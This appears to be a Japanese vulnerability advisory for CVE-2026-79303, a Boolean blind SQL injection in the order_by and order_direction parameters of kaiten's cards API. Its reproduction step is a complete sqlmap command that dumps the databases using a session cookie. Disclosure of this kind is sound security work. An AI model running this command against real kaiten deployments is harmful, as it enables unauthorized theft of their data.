CVE-2026-79303

ブール型ブラインドSQLインジェクション

説明: 必要なデータ検証を行わず、パラメータ化されたステートメントやストアドプロシージャを使用せずに動的SQLステートメントが生成されます。

影響: SQLi

CVSSv3.1ベクター: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critical)

CWE: CWE-89: SQLコマンドで使用される特殊要素の不適切な無害化（'SQLインジェクション'）

影響を受けるコンポーネント: GETパラメータ order_by および order_direction

ベンダー: kaiten

影響を受ける製品

• kaiten バージョン: 57.192.20 < 57.214.26

再現手順:

1. sqlmap -u "https://[kaiten ip]/api/cards?version=2&limit=51&query=1&order_by=1&order_direction=desc&search_fields=title" --cookie="connect.sid=[value]" -p 'order_by' --technique B --level 5 --dbms postgresql --dbs --dump
2. n（クッキーを新しいものとマージしない）と入力 -> C

発見者